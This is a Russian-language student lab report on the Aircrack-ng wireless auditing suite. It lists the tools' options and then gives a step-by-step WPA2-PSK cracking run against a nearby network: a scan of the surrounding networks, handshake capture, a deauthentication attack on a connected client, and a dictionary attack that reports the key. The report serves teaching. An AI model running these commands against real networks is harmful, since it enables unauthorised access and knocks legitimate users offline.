Лабораторная работа №6. Набор инструментов для аудита беспроводных сетей AirCrack

Никитина Анна

22 мая 2016 г.

Оглавление

1 Цель работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA / WPA2, PSK и WEP.

2 Ход работы

2.1 Изучение

Изучить документацию по основным утилитам

Пакет airmon-ng может быть использован для включения или отключенич мониторинга беспроводного интерфейса. Основные утилиты:

- airmon-ng - проверить состояние беспроводных интерфейсов
- airmon-ng check - проверить на наличие мешающих процессов
- airmon-ng check kill- остановить мешающие процессы
- airmon-ng start wlan0 - включить режим мониторинга
- airmon-ng stop wlan0 - отключить режим мониторинга

Пакет airdump-ng используется для захвата пакетов кадров 802.11, также походит для получения веторов инициализации (IV) для WEP.
Применение: airodump-ng <options> <interface>[,<interface>,...]
Опции:

- ivs : сохранить только захваченные IVs
- write <prefix> : префикс dump файла
- w : сохранить как –write
- update <secs> : задержка обновления дисплея в секундах
- showack : показать статистику ack/cts/rts
- f <msecs> : время в мс между переключением каналов
- и другие

Опции фильтрации:

- encrypt <Suite>: фильтрация точек доступа по набору шифров
- netmask <маска сети>: фильтрация точек доступа по маске
- C <Частоты>: указание частоты в МГц
- cswitch <метод>: установить метод переключения каналов 0: FIFO (по умолчанию) 1: Round Robin
- help
- и другие

Пакет airplay-ng используется для вставки кадров. Основная функция заключается в генерации трафика для последующего использования в пакете aircrack-ng для взлома ключей WEP и WPA-PSK. С помощью инструмента packetforge-ng возможно создавать произвольные кадры.
Применение: aireplay-ng <options> <replay interface>
Опции фильтраци:

- b bssid : MAC address, точка доступа
- d dmac : MAC address, адресат
- s smac : MAC address, источник
- m len : минимальная длина пакета
- n len : максимальная длина пакета
- u type : контроль кадра, тип поля
- v subt : контроль кадра, подтип поля
- и другие

Опции генерации пакетов:

- x - nbpps : количество пакетов в секунду
- p - fctrl : установить контрольное слово кадра (hex)
- a - bssid : установить MAC-адрес точки доступа
- c - dmac : установить MAC-адрес Получателя
- h - smac : установить MAC-адрес Источника
- e - essid : атака «фальшивая аутентификация»: установить SSID (идентификатор сети) точки доступа
- j - arpreplay : атака генерация FromDS пакетов
- g - значение : изменить размер кольцевого буфера (по умолчанию: 8)
- k - IP : установить IP адрес назначения в фрагментах
- l - IP : установить IP адрес источника в фрагментах
- o - npckts : количество пакетов в пачке
- q - sec : количество секунд между посылкой
- y - prga : поток ключей (keystream) для авторизации открытым ключем

Пакет aircrack-ng используется для взлома ключей 802.11 WEP и WPA / WPA2-PSK. Пакет может восстановить ключ WEP после того, как было захвачено достаточное количество пакетов с помощью airodump-ng. Эта часть aircrack-ng набора определяет ключ WEP с помощью двух методов. Первый метод - через PTW подход. Второй метод - FMS / KoreK. Метод FMS / KoreK включает в себя различные статистические атаки, чтобы обнаружить ключ WEP и использует их в сочетании с полным перебором. Кроме того, программа предлагает метод словаря для определения ключа WEP.
Для взлома ключа WPA / WPA2 используется только метод словаря.
Применение: aircrack-ng [options] <capture file(s)>
Опции:

- a - режим атаки (1 = WEP, WPA 2 = / WPA2-PSK)
- b - выбор целевой сети на основе MAC-адреса точки доступа
- q - включить тихий режим
- c - (WEP cracking)ограничить пространство поиска буквенно-цифровыми символами
- h - (WEP cracking) ограничить пространства поиска цифровыми символами
- d - (WEP cracking) установить начало ключа WEP, для отладки
- M - (WEP cracking) установить максимальное количество векторов инициализации для использования
- n - (WEP cracking) указать длину ключа
- и другие

Запустить режим мониторинга на беспроводном интерфейсе

Запустим режим мониторинга на беспроводном интерфейсе wlan0.

```
root@ann-K72JU:~# airmon-ng start wlan0

Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
658 avahi-daemon
659 avahi-daemon
927 NetworkManager
1130 wpa_supplicant


Interface Chipset Driver
```

```
mon0 Atheros  ath9k - [phy0]
wlan0 Atheros  ath9k - [phy0]
(monitor mode enabled on mon5)
mon1 Atheros  ath9k - [phy0]
mon2 Atheros  ath9k - [phy0]
```

Запустить утилиту airodump, изучить форматы вывода этой утилиты, форматы файлов, которые она может создавать

-w <prefix>, —write <prefix>

Использование префикса файла дампа. Если данный параметр не указан тогда будут отображаться только данные на экране. Помимо этого файла будет создан CSV-файл с таким же именем файла, с каким будет создан захват.

—output-format <форматы>

Определение форматов для использования, разделенное запятыми. Возможные значения: pcap, ivs, csv, gps, kismet, netxml. По умолчанию используется: pcap, csv, kismet, kismet-newcore. «pcap» используется для записи перехваченных пакетов в формате «pcap», «ivs» является форматом записи перехваченных пакетов в фирмат «ivs» (ярлык для ivs), «csv» программа airodump-ng создаст фаил в формате «csv», «kismet» создаст фаил «kismet csv», а «kismet-newcore» создаст фаил «kismet netxml», «gps» является сокращением для «—gps». Эти значения могут быть объединены, за исключением «ivs» и «pcap».

2.2 Практическое задание

Проделаем действия, описанные по ссылке "Руководство по взлому WPA". Запустим режим мониторинга на беспроводном интерфейсе.

```
root@ann-K72JU:~# airmon-ng start wlan0


Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
658 avahi-daemon
659 avahi-daemon
927 NetworkManager
1130 wpa_supplicant


Interface Chipset Driver
```

```
mon0 Atheros  ath9k - [phy0]
wlan0 Atheros  ath9k - [phy0]
(monitor mode enabled on mon5)
mon1 Atheros  ath9k - [phy0]
mon2 Atheros  ath9k - [phy0]
```

Просмотрим все найденный сети.

```
 root@ann-K72JU:~# airodump-ng wlan0

 CH 10 ][ Elapsed: 4 s ][ 2016-05-21 20:11

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 C0:4A:00:E3:0A:C6    0        1        0    0   6  54e. WPA2 CCMP   PSK  room515
 D8:5D:4C:B8:B1:06    0        6        0    0  11  54e. WPA2 CCMP   PSK  Busy Jack
 90:94:E4:EF:8A:A1    0        6        0    0  11  54e. WPA2 CCMP   PSK  DIR-620
 E8:94:F6:DE:2E:C4    0        7        1    0  11  54e. WPA2 CCMP   PSK  room410
 EC:43:F6:CF:80:C4    0        8        0    0  11  54e  WPA2 CCMP   PSK  313  SILA S NAMI
 14:CC:20:A1:30:30    0        7        0    0  11  54e. WPA2 CCMP   PSK  513
 EC:43:F6:D5:14:E8    0        3        0    0   5  54e  WPA2 CCMP   PSK  Keenetic-7644
 88:E3:AB:C5:99:84    0        7        0    0   9  54e. WPA2 CCMP   PSK  ROOM_511
 E8:DE:27:EB:BD:76    0       14        0    0  10  54e. WPA2 CCMP   PSK  ShinyShade
 C0:4A:00:C9:38:06    0        7        0    0   9  54e. WPA2 CCMP   PSK  NoEasyWayOut
 1C:7E:E5:3E:AF:10    0       16        0    0   4  54e. WPA2 CCMP   PSK  417
 54:E6:FC:F2:FF:00    0       11        3    0  10  54e. WPA2 CCMP   PSK  Signal_is_kosmos
 C4:6E:1F:FC:A9:D8    0        4        0    0   9  54e. WPA2 CCMP   PSK  Izhevsky
 10:BF:48:B2:DF:DC    0        9        0    0   5  54e  WPA2 CCMP   PSK  .19nEw
 A4:2B:8C:67:E5:82    0        7        1    0   3  54e. WPA2 CCMP   PSK  L4D
 C4:6E:1F:0D:EB:A0    0        6        0    0   3  54e. WPA2 CCMP   PSK  room512
 FC:8B:97:61:73:A1    0        2        1    0  12  54e  WPA2 CCMP   PSK  DIR-300
 C8:D3:A3:31:F4:BE    0        8        0    0  12  54e  WPA2 CCMP   PSK  310
 AC:22:0B:54:D5:A8    0        2        2    0  13  54e  WPA2 CCMP   PSK  KrG
 28:28:5D:9F:C2:BC    0        6        1    0  13  54e  WPA2 CCMP   PSK  117_room
 AC:F1:DF:22:4C:2E    0        1        0    0  13  54e  WPA2 CCMP   PSK  poker-club
```

Нас интересует сеть

```
1C:7E:E5:3E:AF:10    0       16        0    0   4  54e. WPA2 CCMP   PSK  417
```

Запустим сбор трафика выбранной сети для получения аутентификационных сообщений:

```
sudo airodump-ng mon5 --write dump --bssid 1C:7E:E5:3E:AF:10 -c 4
 CH  4 ][ Elapsed: 16 s ][ 2016-05-21 20:25

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 1C:7E:E5:3E:AF:10    0 100      175      185    1   4  54e. WPA2 CCMP   PSK  417
```

```
 BSSID              STATION            PWR   Rate    Lost  Packets  Probes


 1C:7E:E5:3E:AF:10  34:E2:FD:21:9A:34    0    0e- 0      0      169
```

Видим, что к сети подключен один клиент с MAC-адресом 34:E2:FD:21:9A:34, проведем его деаутентификацию дляполучения необходимых для взлома сети сообщений.

```
 root@ann-K72JU:~# aireplay-ng -0 1 -a 1C:7E:E5:3E:AF:10 -c 34:E2:FD:21:9A:34 mon5
20:26:47  Waiting for beacon frame (BSSID: 1C:7E:E5:3E:AF:10) on channel 4
20:26:48  Sending 64 directed DeAuth. STMAC: [34:E2:FD:21:9A:34] [ 0|54 ACKs]
```

После сбора аутентификацинный сообщений, проводим непосредственно взлом сети утилитой aircrack-ng. Передадим на вход утилите словарь паролей, в котором содержатся возможные пароли для сети.

```
sudo aircrack-ng dump*.cap -w password -b 1C:7E:E5:3E:AF:10
```

При успешном результате видим сообщение, в которо указан пароль для выбранной сети

```
                              Aircrack-ng 1.1


                    [00:00:00] 644 keys tested (1418.29 k/s)


                            KEY FOUND! [ ******** ]


      Master Key     : 6B D2 37 35 EB E1 FE F2 88 8A D9 DD 58 7B 8D 84
                       60 89 6D 8E D0 69 11 61 D0 B0 27 03 27 63 47 76

      Transient Key  : 33 99 1E 17 64 41 DA 89 DA D0 08 6D C0 8A E1 F8
                       89 B7 39 AF E2 AF AD F9 3D C4 E8 4B 9B 43 B5 08
                       6F 28 51 EA A3 B6 56 7D 0C 51 61 7A CE 08 6F 6C
                       A2 2C E3 38 50 81 0E C3 83 47 8F 09 DB 8F 2E 90
```

3 Вывод

В ходе данной работы были изучены и применены на практике основные утилиты пакета AirCrack.
Данный инструмент позволяет прослушивать определенный беспроводной интерфейс, перехватывать его пакеты, генерировать новые (с помощью данной опции, например, можно отключить любого подключенного к сети клиента). После успешного прослушивания сети есть возможность ее взлома. Например, используя словарь паролей, если пароль интерфейса содержится в переданном утилите словаре, то увидим на экране сообщение об успешном завершении операции и полученный пароль беспроводного интерфейса.